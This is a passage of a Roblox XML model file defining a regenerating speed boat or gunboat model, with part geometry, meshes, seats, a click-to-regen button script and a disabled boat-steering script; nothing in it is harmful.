<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.roblox.com/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Workspace" referent="RBX0">
		<Properties>
			<bool name="Archivable">true</bool>
			<Ref name="CurrentCamera">RBX1</Ref>
			<double name="DistributedGameTime">0</double>
			<CoordinateFrame name="ModelInPrimary">
				<X>0</X>
				<Y>0</Y>
				<Z>0</Z>
				<R00>1</R00>
				<R01>0</R01>
				<R02>0</R02>
				<R10>0</R10>
				<R11>1</R11>
				<R12>0</R12>
				<R20>0</R20>
				<R21>0</R21>
				<R22>1</R22>
			</CoordinateFrame>
			<string name="Name">Workspace</string>
			<Ref name="PrimaryPart">null</Ref>
		</Properties>
		<Item class="Model" referent="RBX2">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1170</X>
						<Y>7</Y>
						<Z>683</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX4">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX5">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX6">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX7">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX8">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Transport2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX9">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Speed Boat</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX10">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX11">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">GunBoat</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX12">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Bodykit</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX13">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">24</int>
										<CoordinateFrame name="CFrame">
											<X>-1167.5</X>
											<Y>8.5</Y>
											<Z>642</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000208396028</X>
											<Y>9.08477523e-005</Y>
											<Z>0.000216867469</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>1</Y>
											<Z>14</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX14">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX15">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">0</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">194</int>
										<CoordinateFrame name="CFrame">
											<X>-1173</X>
											<Y>4</Y>
											<Z>640</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">0</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000230698672</X>
											<Y>5.92219949e-005</Y>
											<Z>0.00022669317</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>12</X>
											<Y>4</Y>
											<Z>10</Z>
										</Vector3>
									</Properties>
									<Item class="SpecialMesh" referent="RBX16">
										<Properties>
											<bool name="Archivable">true</bool>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<Content name="MeshId"><null></null></Content>
											<token name="MeshType">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Content name="TextureId"><null></null></Content>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Seat" referent="RBX17">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">26</int>
										<CoordinateFrame name="CFrame">
											<X>-1177</X>
											<Y>6.19999981</Y>
											<Z>662</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Seat</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000216840504</X>
											<Y>9.14632183e-005</Y>
											<Z>0.000220949383</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX18">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX19">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">24</int>
										<CoordinateFrame name="CFrame">
											<X>-1167.5</X>
											<Y>7</Y>
											<Z>655</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
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										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">24</int>
										<CoordinateFrame name="CFrame">
											<X>-1174.5</X>
											<Y>6.80000019</Y>
											<Z>654</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000215028689</X>
											<Y>8.48552518e-005</Y>
											<Z>0.000219887588</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>2</Y>
											<Z>10</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX68">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX69">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">24</int>
										<CoordinateFrame name="CFrame">
											<X>-1178.5</X>
											<Y>7</Y>
											<Z>655</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000213909414</X>
											<Y>6.76358177e-005</Y>
											<Z>0.000218854344</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>2</Y>
											<Z>40</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX70">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX71">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">24</int>
										<CoordinateFrame name="CFrame">
											<X>-1178.5</X>
											<Y>8.5</Y>
											<Z>654</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0</float>
										<token name="FormFactor">0</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">0</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000206709447</X>
											<Y>6.52805466e-005</Y>
											<Z>0.000215321445</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>1</Y>
											<Z>10</Z>
										</Vector3>
									</Properties>
									<Item class="SpecialMesh" referent="RBX72">
										<Properties>
											<bool name="Archivable">true</bool>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<Content name="MeshId"><null></null></Content>
											<token name="MeshType">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Content name="TextureId"><null></null></Content>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
								</Item>
							</Item>
							<Item class="Script" referent="RBX73">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="VehicleSeat" referent="RBX74">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-1173</X>
										<Y>6.5</Y>
										<Z>651</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<bool name="HeadsUpDisplay">true</bool>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<float name="MaxSpeed">0</float>
									<string name="Name">VehicleSeat</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<int name="Steer">0</int>
									<int name="Throttle">0</int>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Torque">1</float>
									<float name="Transparency">0</float>
									<float name="TurnSpeed">0</float>
									<Vector3 name="Velocity">
										<X>0.000216918444</X>
										<Y>8.51299556e-005</Y>
										<Z>0.000220804999</Z>
									</Vector3>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX75">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>-0.300000012</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX76">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1173</X>
										<Y>4</Y>
										<Z>660</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Base</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
